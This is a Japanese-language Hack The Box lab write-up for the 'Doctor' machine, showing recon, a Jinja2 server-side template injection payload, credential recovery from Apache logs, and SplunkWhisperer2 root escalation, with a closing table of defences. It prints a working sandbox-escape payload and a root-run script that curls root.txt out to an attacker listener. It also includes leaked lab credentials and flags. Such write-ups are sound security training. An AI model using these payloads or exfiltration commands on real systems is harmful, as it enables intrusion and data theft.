Hack The BoxのWriteup(Doctor)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Doctor — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 8089/Splunk
→
Jinja2 SSTI
投稿タイトル経由
→
web ユーザー RCE
→
apache2バックアップログ漏洩
shaun:Guitar123
→
su shaun → user.txt ✓
→
SplunkWhisperer2
app bundle install RCE
→
root 実行 → root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.2.21
nmap -sV -sC -p 22,80,8089 10.129.2.21
RESULT
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp   open  http     Apache httpd 2.4.41
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert
|_http-title: splunkd
🚨
重要発見: ポート8089にSplunkd(Splunk Universal Forwarderの管理APIポート)が稼働している。Splunk UFは 通常root権限で動作するため、このAPIへの認証付き アクセスはroot化への直接の道筋になる可能性が高い。

vhost確認

BASH
echo "10.129.2.21  doctors.htb" | sudo tee -a /etc/hosts
curl -sL http://10.129.2.21/ | grep -i doctors
RESULT
リダイレクト先が doctors.htb 固定であることを確認
PHASE 2

Jinja2 Server-Side Template Injection (SSTI)

ユーザー登録・ログイン

NOTE
http://doctors.htb は "Doctor Secure Messaging System" という
Flask製アプリ。誰でも自由にアカウント登録・ログインでき、ログイン後に
投稿(記事)を作成できる機能がある。
BASH
curl -s -c cookies.txt -d "email=drpwn@hack.htb&password=P@ssDoct99!" \
  http://doctors.htb/register
curl -s -b cookies.txt -c cookies.txt -d "email=drpwn@hack.htb&password=P@ssDoct99!" \
  http://doctors.htb/login

投稿タイトルへSSTIペイロードを埋め込む

NOTE
投稿の「本文」はエスケープ処理されテンプレートエンジンを通らないが、
「タイトル」フィールドは別の場所(/archive のXMLフィード生成テンプレート)
でサニタイズ無しにJinja2テンプレートへ直接埋め込まれる。これがSSTIの
エントリポイントになる。
PYTHON (SSTIペイロード、タイトルとして投稿)
{% for x in ().__class__.__base__.__subclasses__() %}
  {% if "warning" in x.__name__ %}
    {{x()._module.__builtins__['__import__']('os').popen('<CMD>').read()}}
  {% endif %}
{% endfor %}
🚨
古典的なPythonサンドボックスエスケープ手法: Jinja2の {{ }}はPythonオブジェクトの属性に自由にアクセスできる。 空のタプル()から__class__.__base__(object) の全サブクラスを列挙し、デバッグ用のWarningMessageクラス のような、ロードされたモジュール(_module)経由で __builtins__に到達できるクラスを探し出す。これにより __import__('os')が呼べるようになり、任意コマンド実行が 可能になる。

/archive エンドポイントでペイロード発火

BASH
curl -s -b cookies.txt http://doctors.htb/archive
⚠️
重要: SSTIが発火するのは投稿一覧ページ(/posts) ではなく/archive(RSS/XML形式のフィードを 生成するエンドポイント)。このフィード生成テンプレートだけが 投稿タイトルを未エスケープで埋め込んでいる。
✅
RCE成功! webユーザーとしてコマンドが実行される。 結果を直接HTTPレスポンスで受け取りづらいため、実際の攻略では コマンド内でKali側に立てた一時HTTPリスナーへcurl/ urllibでPOST/GETし、実行結果を外部に送信(exfiltrate)する 設計にすると安定する。
PHASE 3

apache2バックアップログからの資格情報漏洩 & user.txt取得

adm グループ権限でApacheログを調査

BASH (SSTI経由のRCEで実行)
id
grep -rE "Guitar123|password" /var/log/apache2/
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data),4(adm)
/var/log/apache2/backup:...email=Guitar123...
🚨
発見: webプロセスはadmグループに 所属しており、通常一般ユーザーには読めないApacheのログファイルを 読める。/var/log/apache2/backup(過去のアクセスログの アーカイブ)に、誰かがログインフォームのメールアドレス欄に 誤ってパスワードを入力してしまった痕跡が残っており、 Guitar123という平文パスワードが漏洩している。

su shaun で横移動 & user.txt取得

BASH (SSTI経由のRCEで実行、ptyを割り当てて対話的にsu)
su shaun
Guitar123
cat /home/shaun/user.txt
RESULT
95951a7c8794899b2387eeee0509de96
user.txt — shaun
95951a7c8794899b2387eeee0509de96
ℹ️
suはTTY(疑似端末)を要求するため、SSTI経由の非対話シェル からはpty.openpty()で疑似端末を割り当ててからパスワードを 送り込む必要がある。
PHASE 4

SplunkWhisperer2 — Splunk Universal Forwarder経由のRCE

悪意のあるアプリバンドルの作成

NOTE
Splunk UFは "app" という単位でプラグインをインストールできる管理APIを
持っている。REST API経由で任意のURLから app バンドル(.tar)を
ダウンロード・インストールさせることができ、そのapp内のスクリプトは
Splunk UF自身の権限(root)で実行される。
BASH (app バンドルのディレクトリ構成)
payload/
├── default/
├── local/
│   └── inputs.conf     # [script://$SPLUNK_HOME/etc/apps/payload/bin/payload.sh]
└── bin/
    └── payload.sh       # root権限で実行されるシェルスクリプト
BASH (payload.sh の内容、シングルクォート厳禁)
#!/bin/sh
curl -sk http://<Kali IP>:<port>/root?f=$(cat /root/root.txt|tr -d '\n') &
⚠️
実装上の重要な注意点(すべて必須):
1. inputs.confはdefault/ではなく local/ディレクトリに置く。
2. スクリプトパスは$SPLUNK_HOME変数付きの 絶対パスで記述する。
3. バンドルは無圧縮の.tar(.tar.gz不可)。
4. シェルスクリプト内でURLをシングルクォートで囲まない — shではシングルクォート内の$()展開が 効かなくなるため。

Splunk管理APIへの認証 & バンドルインストール要求

BASH
# Splunk認証 (shaun:Guitar123) してセッションキーを取得
curl -sk -u shaun:Guitar123 \
  "https://10.129.2.21:8089/services/auth/login" -d "output_mode=json"

# 一時HTTPサーバーでバンドルをKali側から配信
python3 -m http.server 4462 &

# バンドルインストールAPIへURL-encodedでPOST (末尾スラッシュ必須)
curl -sk -H "Authorization: Splunk <key>" \
  --data-urlencode "name=http://<Kali IP>:4462/" \
  --data-urlencode "filename=True" \
  --data-urlencode "update=True" \
  "https://10.129.2.21:8089/services/apps/local/"
🚨
重要な仕様: このAPIはmultipart/form-data で送ると “Unparsable URI-encoded request data” エラーになる。 URL-encodedボディで、nameパラメータに (ファイルそのものではなく)バンドルを取得できるURLを 指定する設計になっている。エンドポイントのパスも /services/apps/local/という末尾スラッシュ が無いと正しく処理されない。
RESULT
<?xml version="1.0" encoding="UTF-8"?>
<!--This is to override browser formatting; see entry.xsl for formatting -->
...(インストール成功を示すXMLレスポンス)
PHASE 5

root権限での自動実行を待ち root.txt取得

Splunkの処理待機 & root.txt受信

NOTE
Splunkはバンドルのダウンロード→展開→インストール→
(script://入力の監視ループによる)スクリプト実行、という一連の処理を
バックグラウンドで行う。実行完了までおよそ90秒程度の待機が必要。
BASH
# Kali側で受信用の一時HTTPリスナーを立てて90秒待機
# payload.sh が root権限で実行され、root.txtの内容をGETパラメータで送信してくる
RESULT
GET /root?f=87eb351bf887829747d86f1acf4caa62 HTTP/1.1
✅
root化成功! Splunk Universal Forwarderはroot権限で 動作しており、インストールしたappのスクリプトもroot権限で実行される。
root.txt — Splunk UF経由 root 実行
87eb351bf887829747d86f1acf4caa62
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — shaun
95951a7c8794899b2387eeee0509de96
root.txt — Splunk UF経由 root 実行
87eb351bf887829747d86f1acf4caa62

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Jinja2 SSTI Doctor Secure Messaging System (投稿タイトル) リモートコード実行 (web) Critical __class__.__base__.__subclasses__()を使ったPythonサンドボックスエスケープ
過剰な権限(adm グループ) + 誤入力の平文パスワードログ /var/log/apache2/backup 水平権限昇格 (shaun、user.txt) Medium ログインフォームへの誤入力がアクセスログに平文で残存
SplunkWhisperer2 (Splunk UF 未パッチのapp install機能) Splunk Universal Forwarder (port 8089) 権限昇格 (root, root.txt) Critical 有効な認証情報で任意appをインストールさせ、root権限のスクリプト実行を達成

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22/ssh, 80/http (Doctor), 8089/Splunk UF
2RCEJinja2 SSTI(投稿タイトル経由、/archiveで発火)web シェル獲得
3水平昇格admグループでapache2 backupログ閲覧shaun:Guitar123、user.txt
4権限昇格準備SplunkWhisperer2 app installSplunk UFへroot権限スクリプトを設置
5権限昇格Splunkによるスクリプト自動実行root.txt

学んだ教訓 & 防御策

問題点防御策
ユーザー入力(投稿タイトル)がサニタイズ無しにJinja2テンプレートへ直接埋め込まれている テンプレートエンジンへの動的な文字列埋め込みを避け、必ず変数として渡す(自動エスケープが効く形式)。ユーザー入力を直接テンプレート文字列として解釈させない。
アプリケーションプロセスがadmグループに所属し、本来読めるべきでないログファイルにアクセス可能 Webアプリの実行ユーザーには最小権限のみ付与し、ログファイルの読み取り権限も厳格に分離する。
ログインフォームへの入力ミス(メール欄にパスワードを入力)がアクセスログに平文で記録される フォーム入力をログに記録する際は機密情報らしきパターンをマスキングする。GETパラメータでの認証情報送信自体を避ける(POST+HTTPS前提の設計にする)。
Splunk Universal Forwarderがroot権限で稼働し、認証済みユーザーが任意のappをインストールできる(既知の設計上の弱点) Splunk UFは専用の低権限サービスアカウントで動作させる。管理APIへのアクセスはネットワークレベルで制限し、信頼できるホストのみに限定する。
HackTheBox: Doctor | 完全攻略レポート